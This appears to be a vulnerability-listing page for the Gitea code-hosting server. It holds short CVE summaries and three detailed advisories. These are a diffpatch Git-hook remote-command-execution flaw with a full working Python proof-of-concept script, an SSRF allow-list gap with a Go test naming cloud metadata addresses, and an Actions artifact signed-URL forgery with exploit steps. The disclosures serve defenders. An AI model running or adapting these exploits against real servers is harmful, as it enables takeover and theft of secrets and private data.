See how gitea compares to other vendors in security performance
Gitea versions before 1.25.5 do not use the migration HTTP transport for LFS push and sync mirror operations, bypassing the configured migration transport protections for those LFS requests.
Gitea versions before 1.26.0 do not fail closed on bufio.Scanner errors while processing pre-receive hook input, allowing oversized input to bypass branch-protection checks.
Summary
Gitea's diffpatch endpoint can be abused to install and execute a Git hook from repository-controlled content.
An attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository.
Details
services/repository/files/patch.go applies attacker-controlled patches in a shared bare temporary clone:
go cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--binary") if git.DefaultFeatures().CheckVersionAtLeast("2.32") { cmdApply.AddArguments("-3") }
Submitting the same patch twice creates an add/add collision. Git's three-way fallback checks the indexed path out even though the operation is performed with --cached.
In a bare clone, the repository root is $GITDIR. As a result, an executable entry named:
text hooks/post-index-change
becomes a live Git hook.
Git invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account.
The hook's return value is not propagated to the diffpatch response.
The attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP.
PoC
The supplied giteadiffpatchrcepoc.py uses an existing Gitea account. Run it against a test instance where the account can create a repository.
Set the account password:
bash export GITEAPASSWORD='account-password'
Execute a command through the diffpatch chain:
bash python3 ./giteadiffpatchrcepoc.py \ https://gitea.example \ pocuser \ 'id; uname -srm; pwd'
The script:
Creates an initialized private repository. Submits the same executable-hook patch twice. Fetches the result branch. Prints the command's combined stdout, stderr, and exit status. Prints the evidence repository, ref, and commit IDs to stderr.
Expected output resembles:
text uid=1000(git) gid=1000(git) groups=1000(git) Linux ... /data/gitea/tmp/...
[exit-status=0]
The trigger requires:
Git 2.32 or newer. An enabled diffpatch route. A writable and executable temporary filesystem.
Open registration is required only for the no-prior-credentials attack path.
Impact
This is remote command execution as the Gitea service account (CWE-94).
Depending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose:
app.ini and Gitea application secrets. Process environment secrets. Mounted repositories. Database credentials and database contents. OAuth and integration credentials. Other internal or externally reachable services.
With open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository.
<img width="928" height="687" alt="Screenshot 2026-07-25 at 14 45 44" src="https://github.com/user-attachments/assets/e7ce9fe7-bcab-4539-82fc-14c3856bda1c" />
python #!/usr/bin/env python3 -- coding: utf-8 -- """ Gitea RCE PoC – authorized testing only. """
from future import annotations
import argparse import base64 import getpass import hashlib import json import os from pathlib import Path
import secrets import shlex import shutil import subprocess import sys import tempfile
from typing import Any import urllib.error import urllib.parse import urllib.request
TIMEOUT = 30.0 USERAGENT = "gitea-rce-poc/2.0"
RST = "\033[0m" DIM = "\033[2m" GRN = "\033[38;5;46m" # bright green RED = "\033[31m" # red for errors
def g(t: str) -> str: return f"{GRN}{t}{RST}" def r(t: str) -> str: return f"{RED}{t}{RST}" def d(t: str) -> str: return f"{DIM}{t}{RST}"
def logstar(msg: str) -> None: print(f"{g('[]')} {d(msg)}") def logok (msg: str) -> None: print(f"{g('[+]')} {g(msg)}") def logerr (msg: str) -> None: print(f"{r('[-]')} {r(msg)}")
SEP = " " + "═" 44 BANNER = f"{SEP}\n GITEA REMOTE CODE EXECUTION POC\n{SEP}"
def printbanner(url: str, version: str | None = None, command: str | None = None) -> None: print() for line in BANNER.splitlines(): print(g(line)) print() ver = version or "unknown" print(g(" " + "-" 54)) print(g(f" Target : {url}")) print(g(f" Version : {ver}")) if command: print(g(f" Command : {command}")) print(g(" " + "-" 54)) print()
class PocError(RuntimeError): pass
class GiteaClient: def init(self, baseurl: str, username: str, password: str) -> None: parsed = urllib.parse.urlsplit(baseurl) if parsed.scheme not in {"http", "https"} or not parsed.netloc: raise PocError("URL must be an absolute http:// or https:// URL") if parsed.query or parsed.fragment: raise PocError("URL must not contain a query string or fragment") self.baseurl = baseurl.rstrip("/") self.username = username self.password = password encoded = base64.b64encode( f"{username}:{password}".encode() ).decode("ascii") self.authorization = f"Basic {encoded}"
def api( self, method: str, path: str, payload: dict[str, Any] | None = None, ) -> tuple[int, Any]: data = None if payload is not None: data = json.dumps(payload, separators=(",", ":")).encode() req = urllib.request.Request( self.baseurl + path, data=data, method=method, headers={ "Accept": "application/json", "Authorization": self.authorization, "Content-Type": "application/json", "User-Agent": USERAGENT, }, ) try: with urllib.request.urlopen(req, timeout=TIMEOUT) as r: raw = r.read() return r.status, json.loads(raw) if raw else None except urllib.error.HTTPError as exc: body = exc.read().decode("utf-8", errors="replace")[:2000] raise PocError(f"{method} {path} → HTTP {exc.code}: {body}") from exc except urllib.error.URLError as exc: raise PocError(f"{method} {path} failed: {exc.reason}") from exc except json.JSONDecodeError: raise PocError(f"{method} {path} returned invalid JSON")
def bloboid(content: bytes) -> str: return hashlib.sha1( f"blob {len(content)}\0".encode("ascii") + content ).hexdigest()
def buildhook(command: str, leakref: str) -> bytes: qcmd = shlex.quote(command) qref = shlex.quote(f"refs/heads/{leakref}") return ( "#!/bin/sh\n" 'gitdir=$(git rev-parse --absolute-git-dir) || exit 1\n' 'originobjects=$(sed -n "1p" "$gitdir/objects/info/alternates") || exit 2\n' 'case "$originobjects" in\n' ' /) ;;\n' ' ) originobjects="$gitdir/objects/$originobjects" ;;\n' "esac\n" 'origingit=${originobjects%/objects}\n' '[ "$origingit" != "$originobjects" ] || exit 3\n' f"outputblob=$({{ /bin/sh -c {qcmd}; " 'commandstatus=$?; printf "\\n[exit-status=%s]\\n" "$commandstatus"; } 2>&1 | ' 'git --git-dir="$origingit" hash-object -w --stdin) || exit 4\n' 'tree=$(printf "100644 blob %s\\toutput\\n" "$outputblob" | ' 'git --git-dir="$origingit" mktree) || exit 5\n' 'commit=$(printf "command output\\n" | ' "GITAUTHORNAME=poc GITAUTHOREMAIL=poc@example.invalid " "GITCOMMITTERNAME=poc GITCOMMITTEREMAIL=poc@example.invalid " 'git --git-dir="$origingit" commit-tree "$tree") || exit 6\n' f'git --git-dir="$origingit" update-ref {qref} "$commit" || exit 7\n' "exit 0\n" ).encode()
def buildpatch(hook: bytes) -> str: lc = hook.count(b"\n") hdr = ( "diff --git a/hooks/post-index-change b/hooks/post-index-change\n" "new file mode 100755\n" f"index {'0'40}..{bloboid(hook)}\n" "--- /dev/null\n" "+++ b/hooks/post-index-change\n" f"@@ -0,0 +1,{lc} @@\n" ).encode() return (hdr + b"".join(b"+" + l for l in hook.splitlines(keepends=True))).decode()
def rungit(git: str, arguments: list[str], env: dict[str, str]) -> bytes: try: result = subprocess.run( [git, arguments], env=env, stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=False, timeout=TIMEOUT, ) except subprocess.TimeoutExpired as exc: raise PocError(f"git timed out after {TIMEOUT:g}s") from exc except OSError as exc: raise PocError(f"could not run git: {exc}") from exc if result.returncode != 0: err = result.stderr.decode("utf-8", errors="replace")[:2000].strip() raise PocError(f"git exit {result.returncode}: {err}") return result.stdout
def fetchoutput(git: str, client: GiteaClient, owner: str, repo: str, leakref: str) -> bytes: remote = ( f"{client.baseurl}/" f"{urllib.parse.quote(owner, safe='')}/" f"{urllib.parse.quote(repo, safe='')}.git" ) with tempfile.TemporaryDirectory(prefix="gitea-poc-") as tmp: bare = Path(tmp) / "fetch.git" authcfg = Path(tmp) / "auth.config" fd = os.open(authcfg, os.OWRONLY | os.OCREAT | os.OEXCL, 0o600) with os.fdopen(fd, "w", encoding="utf-8") as f: f.write(f"[http]\n\textraHeader = Authorization: {client.authorization}\n") env = {os.environ, "GITTERMINALPROMPT": "0"} rungit(git, ["init", "--bare", "--quiet", str(bare)], env) rungit(git, [ "-C", str(bare), "-c", f"include.path={authcfg}", "fetch", "--quiet", "--no-tags", remote, f"refs/heads/{leakref}", ], env) return rungit(git, ["-C", str(bare), "show", "FETCHHEAD:output"], env)
def splitoutput(raw: bytes) -> tuple[str, int | None]: text = raw.decode("utf-8", errors="replace") lines = text.splitlines() status: int | None = None if lines: t = lines[-1].strip() if t.startswith("[exit-status=") and t.endswith("]"): try: status = int(t[len("[exit-status="):-1]) except ValueError: pass else: lines.pop() return "\n".join(lines).rstrip("\n"), status
def parseargs() -> argparse.Namespace: p = argparse.ArgumentParser(description="Gitea RCE PoC") p.addargument("url", help="Gitea base URL") p.addargument("username", help="existing Gitea username") p.addargument("command", help="shell command to execute on target") return p.parseargs()
def main() -> int: args = parseargs() if "\0" in args.command: raise PocError("command must not contain a NUL character")
password = os.environ.get("GITEAPASSWORD") or getpass.getpass( g("[?]") + " password: " ) if not password: raise PocError("password must not be empty")
git = shutil.which("git") if git is None: raise PocError("git executable not found in PATH")
client = GiteaClient(args.url, args.username, password)
# version probe (pre-banner) logstar("probing target...") version: str | None = None try: r = urllib.request.Request( client.baseurl + "/api/v1/version", headers={"Accept": "application/json", "User-Agent": USERAGENT}, ) with urllib.request.urlopen(r, timeout=TIMEOUT) as resp: version = json.loads(resp.read()).get("version", "unknown") except Exception: version = "unknown" printbanner(client.baseurl, version, args.command)
logstar(f"target={client.baseurl} user={args.username} cmd={args.command}") print()
# step 1 – authenticate logstar("authenticating...") sc, acct = client.api("GET", "/api/v1/user") if sc != 200 or not isinstance(acct, dict): logerr("authentication failed"); raise PocError("auth failed") owner = acct.get("login") if not isinstance(owner, str) or not owner: logerr("no login in response"); raise PocError("no login") logok(f"logged in as {owner} ({version})")
# step 2 – create repo unique = secrets.tokenhex(5) repo = f"test-repo-{unique}" leakref = f"output-{unique}" logstar("creating repository...") sc, = client.api("POST", "/api/v1/user/repos", { "name": repo, "private": True, "autoinit": True, "defaultbranch": "main", "objectformatname": "sha1", }) if sc != 201: logerr("repo creation failed"); raise PocError("repo creation failed") logok(f"created repo {owner}/{repo}")
# steps 3–4 – deliver payloads body = { "content": buildpatch(buildhook(args.command, leakref)), "message": "initial commit", "branch": "main", "newbranch": "main", } ep = ( f"/api/v1/repos/{urllib.parse.quote(owner, safe='')}/" f"{urllib.parse.quote(repo, safe='')}/diffpatch" ) commits: list[str] = [] for cycle in (1, 2): logstar(f"delivering payload {cycle}/2...") sc, resp = client.api("POST", ep, body) try: commit = resp["commit"]["sha"] except (KeyError, TypeError) as exc: logerr(f"payload {cycle}/2 rejected") raise PocError(f"cycle {cycle} no commit") from exc if sc != 201: logerr(f"payload {cycle}/2 failed") raise PocError(f"cycle {cycle} failed") commits.append(commit) logok(f"payload {cycle}/2 accepted commit={commit[:16]}")
# step 5 – retrieve output logstar("retrieving output...") output = fetchoutput(git, client, owner, repo, leakref) logok("operation complete")
# command output cmdout, exitstatus = splitoutput(output) print() logok(f"{args.command}:") print(g("---")) if cmdout: for line in cmdout.splitlines(): print(g(line)) else: print(d("<no output>")) print(g("---")) if exitstatus == 0: logok(f"exit status: {exitstatus}") elif exitstatus is None: logstar("exit status: unknown") else: logerr(f"exit status: {exitstatus}")
return 0
if name == "main": try: raise SystemExit(main()) except PocError as exc: logerr(str(exc)) raise SystemExit(1) from None
Gitea Actions decided whether a fork pull request run needed approval based on the user who triggered the event rather than the pull request author. For pullrequest activity triggered by a maintainer during ordinary triage, such as adding a label, the run was created without requiring approval, while the workflow definition was still taken from the fork head. Where Actions is enabled and a matching runner is registered, fork-controlled workflow code could run on the base repository's runners without an explicit approval.
Gitea's OAuth2 and OpenID Connect sign-in paths do not require a WebAuthn challenge when WebAuthn is the account's only configured second factor. A party able to authenticate through the affected external identity flow can obtain a full session without the passkey verification enforced during password login. One affected path can also persist an external identity link, extending the compromise beyond the initial session; accounts with TOTP configured are outside the reported WebAuthn-only scenario.
Gitea before 1.5.4 allows remote code execution because it does not properly validate session IDs. This is related to session ID handling in the go-macaron/session code for Macaron.
An Authentication Bypass vulnerability exists in Gitea before 1.5.0, which could let a malicious user gain privileges. If captured, the TOTP code for the 2FA can be submitted correctly more than once.
Gitea 0.9.99 through 1.12.x before 1.12.6 does not prevent a git protocol path that specifies a TCP port number and also contains newlines (with URL encoding) in ParseRemoteAddr in modules/auth/repoform.go.
An issue exsits in Gitea through 1.15.7, which could let a malicious user gain privileges due to client side cookies not being deleted and the session remains valid on the server side for reuse.
Gitea before 1.8.0 allows 1FA for user accounts that have completed 2FA enrollment. If a user's credentials are known, then an attacker could send them to the API without requiring the 2FA one-time password.
Gitea before 1.17.3 does not sanitize and escape refs in the git backend. Arguments to git commands are mishandled.
Gitea before 1.11.2 is affected by Trusting HTTP Permission Methods on the Server Side when referencing the vulnerable admin or user API. which could let a remote malisious user execute arbitrary code.
Summary
Gitea's default SSRF allow-list (MatchBuiltinExternal, used by both webhook delivery and repository migrations) relies on Go's standard library net.IP.IsPrivate(), which only covers RFC 1918 and RFC 4193. As a result, several IP ranges commonly used for cloud metadata services, internal networks, and IPv6 transition mechanisms are not blocked, allowing authenticated users to send HTTP requests to those destinations and read the responses via the webhook history UI.
Details
The vulnerability lives in HostMatchList.checkIP, specifically line 103:
go case MatchBuiltinExternal: if ip.IsGlobalUnicast() && !ip.IsPrivate() { return true }
net.IP.IsPrivate() recognises only: - 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (RFC 1918) - fc00::/7 (RFC 4193 IPv6 ULA)
It does not recognise:
| Range | Description | |---|---| | 100.64.0.0/10 | RFC 6598 Carrier-Grade NAT | | 168.63.129.16/32 | Azure WireServer metadata endpoint | | 172.32.0.0/11 | Non-RFC1918 portion of 172.0.0.0/8 (real-world internal use) | | 64:ff9b::/96 | RFC 6052 IPv6 NAT64 (can embed 169.254.169.254) | | 2001::/32 | RFC 4380 Teredo tunneling | | 2002::/16 | RFC 3056 6to4 | | 2001:db8::/32 | RFC 3849 documentation |
The default is reached by webhook delivery at services/webhook/deliver.go#L312-L316 and by repository migrations at services/migrations/migrate.go#L522.
The SSRF is not blind. Webhook delivery captures the response status, headers, and up to 1 MiB of body (services/webhook/deliver.go#L259-L270) and renders them in the webhook history UI (templates/repo/settings/webhook/history.tmpl#L75-L85), so attackers can read everything the targeted internal service returns.
Impact
An authenticated user who can create or modify a webhook can:
- Reach cloud metadata endpoints (AWS IMDS via NAT64 64:ff9b::a9fe:a9fe, Azure WireServer 168.63.129.16) - Probe and exfiltrate from internal services on CGNAT (100.64.0.0/10) or non-RFC1918 172.x ranges - Read full HTTP response bodies through the webhook history UI
The same default is applied to repository migrations, broadening the attack surface to users who can trigger a migration.
Proof of Concept
The attached patch (giteassrftest.patch) adds TestSSRFBypassRanges to the existing test file. It uses Go subtests so each vulnerable range is its own named failing test case.
Run with: go test -v ./modules/hostmatcher -run TestSSRFBypassRanges
Expected result on 4c37f4dacbac022f7beca75272439331f0368830: - 8 PASS — RFC 1918, IPv6 private ranges, and legitimate public IPs (control cases) - 10 FAIL — Each failing subtest is a documented SSRF bypass
Sample failure output: --- FAIL: TestSSRFBypassRanges/CGNAT100.64.0.0/10(RFC6598) Error: Not equal: expected: false, actual: true Messages: ip=100.64.0.1 --- FAIL: TestSSRFBypassRanges/AzureWireServer168.63.129.16 Error: Not equal: expected: false, actual: true Messages: ip=168.63.129.16 --- FAIL: TestSSRFBypassRanges/IPv6NAT64embeddedAWSIMDS169.254.169.254 Error: Not equal: expected: false, actual: true Messages: ip=64:ff9b::a9fe:a9fe
Suggested Remediation
I'd suggest treating the design of MatchBuiltinExternal as the bug — IsPrivate() is too narrow a definition of "internal." A comprehensive deny-list approach is what's needed here. For reference, CC-Tweaked's AddressPredicate.PrivatePattern is a good reference list, blocking each of the ranges named in the table above plus a few others (multicast, broadcast, TEST-NET, etc.).
The exact remediation is at your discretion.
References
- Vulnerable function: modules/hostmatcher/hostmatcher.go#L96-L114 - Default for webhooks: services/webhook/deliver.go#L312-L316 - Default for migrations: services/migrations/migrate.go#L522 - Response captured: services/webhook/deliver.go#L259-L270 - Response rendered: templates/repo/settings/webhook/history.tmpl#L75-L85 - Go stdlib net.IP.IsPrivate(): <https://pkg.go.dev/net#IP.IsPrivate> - CC-Tweaked reference deny-list: AddressPredicate.java#L116-L169 - Go subtests pattern: <https://go.dev/blog/subtests> - RFC 6598 (CGNAT), RFC 6052 (NAT64), RFC 4380 (Teredo), RFC 3056 (6to4), RFC 3849 (documentation)
---
Patch <a name="patch"></a>
Proposed giteassrftest.patch:
diff diff --git a/modules/hostmatcher/hostmatchertest.go b/modules/hostmatcher/hostmatchertest.go index c781847..0b39e60 100644 --- a/modules/hostmatcher/hostmatchertest.go +++ b/modules/hostmatcher/hostmatchertest.go @@ -159,3 +159,56 @@ func TestHostOrIPMatchesList(t testing.T) { } test(cases) } + +// TestSSRFBypassRanges verifies that the "external" filter (the default used by +// webhook delivery and repository migrations) blocks dangerous IP ranges. +// +// Each subtest's allowed field is the expected return value of MatchHostOrIP: +// - false: the IP should be blocked (rejected by the filter) +// - true: the IP should be allowed (a legitimate public destination) +// +// Subtests that FAIL are documented SSRF bypasses: IP ranges that should be +// blocked but are incorrectly allowed because the underlying check relies on +// net.IP.IsPrivate(), which only covers RFC 1918 and RFC 4193. +func TestSSRFBypassRanges(t testing.T) { + type tc struct { + ip net.IP + allowed bool + } + + hl := ParseHostMatchList("", "external") + + cases := map[string]tc{ + // RFC 1918 / IPv6 private ranges - correctly blocked + "RFC1918 10.0.0.0/8": {net.ParseIP("10.0.0.1"), false}, + "RFC1918 172.16.0.0/12": {net.ParseIP("172.16.0.1"), false}, + "RFC1918 192.168.0.0/16": {net.ParseIP("192.168.1.1"), false}, + "IPv6 loopback ::1": {net.ParseIP("::1"), false}, + "IPv6 link-local fe80::/10": {net.ParseIP("fe80::1"), false}, + "IPv6 ULA fd00::/8": {net.ParseIP("fd00::1"), false}, + + // Legitimate public IPs - correctly allowed + "Public IPv4 (Google DNS)": {net.ParseIP("8.8.8.8"), true}, + "Public IPv6 (Google DNS)": {net.ParseIP("2001:4860:4860::8888"), true}, + + // SSRF bypasses - the assertions below intentionally describe the + // expected secure behavior (allowed=false). Each failing subtest is + // a documented bypass. + "CGNAT 100.64.0.0/10 (RFC 6598)": {net.ParseIP("100.64.0.1"), false}, + "CGNAT 100.127.255.254 (RFC 6598)": {net.ParseIP("100.127.255.254"), false}, + "Azure WireServer 168.63.129.16": {net.ParseIP("168.63.129.16"), false}, + "Non-RFC1918 172.32.0.0/11": {net.ParseIP("172.32.0.1"), false}, + "Non-RFC1918 172.45.0.0/16": {net.ParseIP("172.45.0.1"), false}, + "IPv6 NAT64 64:ff9b::/96 (RFC 6052)": {net.ParseIP("64:ff9b::1"), false}, + "IPv6 NAT64 embedded AWS IMDS 169.254.169.254": {net.ParseIP("64:ff9b::a9fe:a9fe"), false}, + "IPv6 Teredo 2001::/32 (RFC 4380)": {net.ParseIP("2001::1"), false}, + "IPv6 6to4 2002::/16 (RFC 3056)": {net.ParseIP("2002::1"), false}, + "IPv6 documentation 2001:db8::/32 (RFC 3849)": {net.ParseIP("2001:db8::1"), false}, + } + + for name, c := range cases { + t.Run(name, func(t testing.T) { + assert.Equalf(t, c.allowed, hl.MatchHostOrIP("", c.ip), "ip=%v", c.ip) + }) + } +}
Credit
This vulnerability was uncovered by @JLLeitschuh of the @braze-inc security team.
Summary
Gitea Actions Artifacts V4 signed upload/download URLs can be rewritten to access a different running task and repository context while preserving the original HMAC signature. An attacker with permission to run a Gitea Actions job can turn a signed URL for an attacker-controlled artifact into a URL that reads artifacts from another task context, or writes attacker-controlled data into another task's artifact upload staging context, including in a private repository.
This is one vulnerability with two exploit paths:
- DownloadArtifact: cross-task/cross-repository artifact read, giving C:H. - UploadArtifact: cross-task artifact staging write and metadata mutation, giving I:H.
Details
The root cause is that the V4 artifact signed URL signature is built from raw concatenated fields without delimiters or length-prefixing:
go func (r artifactV4Routes) buildSignature(endpoint, expires, artifactName string, taskID, artifactID int64) []byte { mac := hmac.New(sha256.New, setting.GetGeneralTokenSigningSecret()) mac.Write([]byte(endpoint)) mac.Write([]byte(expires)) mac.Write([]byte(artifactName)) , = fmt.Fprint(mac, taskID) , = fmt.Fprint(mac, artifactID) return mac.Sum(nil) }
Affected code: routers/api/actions/artifactsv4.go:164-171.
Because artifactName, taskID, and artifactID are concatenated without boundaries, two different URL tuples can produce the same HMAC input. For example:
text signed tuple: artifactName = "artifact-795-153" taskID = 48 artifactID = <attacker artifact id>
forged tuple: artifactName = "artifact-795-1" taskID = 53 artifactID = 48<attacker artifact id>
The final HMAC input suffix is identical:
text artifact-795-15348<attacker artifact id>
The attacker does not need to know the target artifact's database artifactID. The forged URL's artifactID only needs to carry digits that preserve the original HMAC input. After verification, the actual target artifact is looked up by target task/run/attempt and artifactName, not by the signed artifactID.
The signed URL handlers are unauthenticated and use ArtifactV4Contexter() only:
go m.Group("", func() { m.Put("UploadArtifact", r.uploadArtifact) m.Get("DownloadArtifact", r.downloadArtifact) }, ArtifactV4Contexter())
Affected code: routers/api/actions/artifactsv4.go:156-159.
After verifying the HMAC, verifySignature() trusts the URL-controlled taskID, loads that task, checks that it is running, and returns the URL-controlled artifactName. It parses artifactID for the HMAC, but does not load or bind the artifact by that signed artifact ID:
go task, err := actionsmodel.GetTaskByID(ctx, taskID) ... if task.Status != actionsmodel.StatusRunning { ... } ... return task, artifactName, true
Affected code: routers/api/actions/artifactsv4.go:224-267.
The artifact lookup then uses the URL-selected task's run/attempt plus URL-selected artifact name:
go has, err := db.GetEngine(ctx).Where(builder.Eq{ "runid": runID, "runattemptid": runAttemptID, "artifactname": name, }, builder.Like{"contentencoding", "%/%"}).Get(&art)
Affected code: routers/api/actions/artifactsv4.go:270-278.
For download, the forged URL reaches downloadArtifact(), which verifies the signature, resolves the artifact by the forged task/run/name context, and serves it:
go task, artifactName, ok := r.verifySignature(ctx, "DownloadArtifact") ... artifact, err := r.getArtifactByName(ctx, task.Job.RunID, task.Job.RunAttemptID, artifactName) ... err = actions.DownloadArtifactV4ReadStorage(ctx.Base, artifact)
Affected code: routers/api/actions/artifactsv4.go:674-693.
For upload, the forged URL reaches uploadArtifact(), which verifies the signature, resolves the target artifact by the forged task/run/name context, appends attacker-controlled data, and updates target artifact metadata:
go task, artifactName, ok := r.verifySignature(ctx, "UploadArtifact") ... artifact, err := r.getArtifactByName(ctx, task.Job.RunID, task.Job.RunAttemptID, artifactName) ... uploadedLength, err := appendUploadChunkV3(r.fs, ctx, artifact, artifact.RunID, artifact.FileSize) ... artifact.FileCompressedSize += uploadedLength artifact.FileSize += uploadedLength ... actionsmodel.UpdateArtifactByID(ctx, artifact.ID, artifact)
Affected code: routers/api/actions/artifactsv4.go:382-422.
The strengthened dynamic PoC also opens the storage object created by the forged upload and verifies that the attacker-controlled bytes were written under the target run and target artifact ID staging path. This demonstrates an unauthorized write primitive into the target artifact upload context. The current PoC does not claim that a finalized artifact download already serves modified bytes; for the integrity path, the confirmed impact is cross-context staging write plus target artifact metadata mutation. In normal artifact upload flow, data in this staging area is what FinalizeArtifact later consumes.
V4 artifact creation also appears to omit the existing artifact-name validation:
go artifactName := req.Name ... artifact, err := actionsmodel.CreateArtifact(ctx, ctx.ActionTask, artifactName, fileName, retentionDays)
Affected code: routers/api/actions/artifactsv4.go:309-337.
This is a hardening issue, but it is not required for the demonstrated tuple-boundary collision. The crafted artifact names in the PoC use ordinary characters such as letters, digits, and hyphens that would normally be valid. The root cause is the ambiguous signed payload plus the post-verification lookup by URL-selected task/run/name context.
The target task must be running, but that is the normal validity window of these signed URLs. The exploit itself is a deterministic parameter rewrite against the active artifact URL flow, so AC:L is appropriate.
Even if the integrity impact is scored conservatively, the DownloadArtifact path independently demonstrates cross-repository private artifact disclosure.
Practical constraints:
- the target task must be in running state; - the target task ID and artifact name must be known or predictable; - for DownloadArtifact on newer branches, the target artifact must already be UploadConfirmed while the target task is still running. Older V4 implementations differ slightly in artifact lookup/status handling; the PoC validates the branch-specific condition used by each tested release; - the forged decimal artifactID must parse as int64; - the exact storage effect depends on the configured artifact storage backend. The local PoC uses the default non-Azure storage path. The root cause still exists before storage backend handling because the signed URL context is confused before upload/download dispatch. - the demonstrated exploit applies when Gitea issues its own V4 UploadArtifact/DownloadArtifact signed URLs. Storage backends or configurations that return direct backend URLs should be assessed separately, because they may bypass these Gitea signed URL handlers.
PoC
Tested against Gitea main checkout:
text 6a270662690439cabe8582e92c22b04d1f8a3fe9
Verified affected versions tested locally:
text main 6a27066269 reproduced dynamically v1.26.1 afdbd9b7c5 reproduced dynamically v1.25.5 f913d90ab6 reproduced dynamically v1.24.7 99053ce4fa reproduced dynamically v1.23.8 cccd54999a reproduced dynamically v1.22.6 8eefa1f6de reproduced dynamically with Go 1.22.12 test toolchain v1.21.11 V4 artifactsv4.go route not present in routers/api/actions; not affected by this V4 signed URL path as tested
Unless otherwise noted, the affected code snippets and line numbers above refer to the tested main checkout 6a27066269. Older release branches contain the same vulnerable signed URL construction and post-verification context confusion, but line numbers and artifact lookup details differ slightly between releases. For example, newer code includes runattemptid in the artifact lookup, while older V4 implementations look up by run/name/path/content-encoding. These differences do not affect the demonstrated HMAC boundary-collision primitive.
For main, v1.26.1, and v1.25.5, the PoC uses the private user2/repo2 fixture and demonstrates cross-repository artifact read. For v1.24.7, v1.23.8, and v1.22.6, the compatible test fixtures differ, so the portable PoC demonstrates the same signed URL rewrite across task/run contexts; v1.22.6 creates the target artifact inside the test because that release does not include the newer artifact fixture file.
The private-repository disclosure impact is demonstrated on releases with suitable private repository fixtures; on older fixtures, the portable test confirms the same cross-context signed URL rewrite primitive, which applies to private targets under the same running-task and known-identifier conditions. The PoC was adapted per release only to account for fixture and test-toolchain differences; the exploit primitive is the same signed URL tuple rewrite.
Local test environment:
- Gitea integration test environment. - Default local Actions artifact storage, not Azure direct upload. - Existing fixture tasks/artifacts from Gitea's test fixtures. - The dynamic PoC sets the target task status to running before exploiting the URL, matching the vulnerable signed URL requirement.
Run:
bash cd /home/kali/gitea/pocs GITEAREPO=/home/kali/gitea/repo GOTOOLCHAIN=auto go run ./actionsartifactv4crosstaskaccessdynamicpoc.go
The dynamic PoC writes a temporary integration test into the Gitea checkout, runs only that test, and removes the temporary test afterward.
The test uses:
text attacker task: 48 attacker run: 792 attacker job: 193 attacker repository id: 4
target task: 53 target run: 795 target job: 198 target repository: user2/repo2, repository id 2 target artifact: artifact-795-1 crafted attacker artifact: artifact-795-153
PoC flow:
1. Create an Actions authorization token for attacker task 48. 2. Verify the attacker token cannot request a signed URL for target run 795 through the authenticated Twirp API. 3. Create an attacker-controlled V4 artifact named artifact-795-153. 4. Upload and finalize that attacker artifact to obtain a legitimate signed URL. 5. Rewrite the signed download URL:
text artifactName=artifact-795-1 taskID=53 artifactID=48<attackerArtifactID>
6. Send the forged final GET without any token and receive the private target artifact from user2/repo2. 7. Rewrite the signed upload URL in the same way. 8. Send a forged PUT ...&comp=appendBlock with attacker-controlled data. 9. Confirm the target artifact metadata was changed by the forged upload. 10. Open the target run/artifact staging chunk from storage and confirm it contains the attacker-controlled bytes.
Observed output:
text source=/home/kali/gitea/repo ok code.gitea.io/gitea/tests/integration 9.069s reproduced: attacker task cannot request a target-run signed URL through the authenticated Twirp method reproduced: attacker-created V4 signed URL keeps its HMAC after taskID/artifactName/artifactID rewrite reproduced: unauthenticated final GET returns the URL-selected target artifact instead of attacker content reproduced: forged UploadArtifact URL writes attacker-controlled bytes into target run/artifact staging storage and changes target artifact metadata condition=attacker can run a Gitea Actions task and target task/artifact identifiers are known while target task is running cvsscandidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Example version test commands:
bash cd /home/kali/gitea/pocs GITEAREPO=/home/kali/gitea/version-tests/gitea-v1.26.1 go run ./actionsartifactv4crosstaskaccessdynamicpoc.go GITEAREPO=/home/kali/gitea/version-tests/gitea-v1.25.5 go run ./actionsartifactv4crosstaskaccessdynamicpoc.go GITEAREPO=/home/kali/gitea/version-tests/gitea-v1.24.7 go run ./actionsartifactv4crosstaskaccessdynamicpoc.go GITEAREPO=/home/kali/gitea/version-tests/gitea-v1.23.8 go run ./actionsartifactv4crosstaskaccessdynamicpoc.go GITEAREPO=/home/kali/gitea/version-tests/gitea-v1.22.6 GITEATESTGOTOOLCHAIN=go1.22.12 go run ./actionsartifactv4crosstaskaccessdynamicpoc.go
Some release worktrees require a local gitea binary before integration tests run:
bash cd /path/to/gitea-release-worktree go build -tags 'sqlite sqliteunlocknotify' -o gitea .
Impact
This is a cross-task and cross-repository authorization bypass in Gitea Actions artifact handling.
An attacker who can run an Actions job can obtain a valid V4 artifact signed URL for their own task, rewrite it without invalidating the HMAC, and make the server operate in another running task's context.
Impacted users are Gitea instances with Actions enabled and V4 artifact signed URL handling in use. Private repositories are impacted because the forged signed URL handlers do not re-check repository access after reconstructing task context from URL parameters.
Confirmed impact:
- Confidentiality: read artifacts from a target running task in a private repository. - Integrity: write attacker-controlled artifact data into the target run/artifact staging storage and mutate target artifact metadata.
This can expose build outputs, logs or packaged artifacts stored as workflow artifacts, and can interfere with in-flight artifact upload staging. Depending on the target upload/finalization flow, it may poison artifact data consumed by later workflow steps, release automation, deployment jobs, or downstream users.
Recommended fix:
- Sign a canonical structured payload, such as JSON/protobuf or length-prefixed fields, instead of concatenating raw values. A versioned payload is preferable, for example HMAC(version || canonicalpayload). - Include and enforce endpoint, expiry, task ID, artifact ID, artifact name, run ID, run attempt ID, repository ID, and owner ID in the signed payload. - After signature verification, load the artifact by signed artifactID. - Reject the request unless the signed artifact ID, task ID, run ID, run attempt ID, repository ID, owner ID, and artifact name all match. - Apply artifact-name validation to V4 artifact creation as hardening.
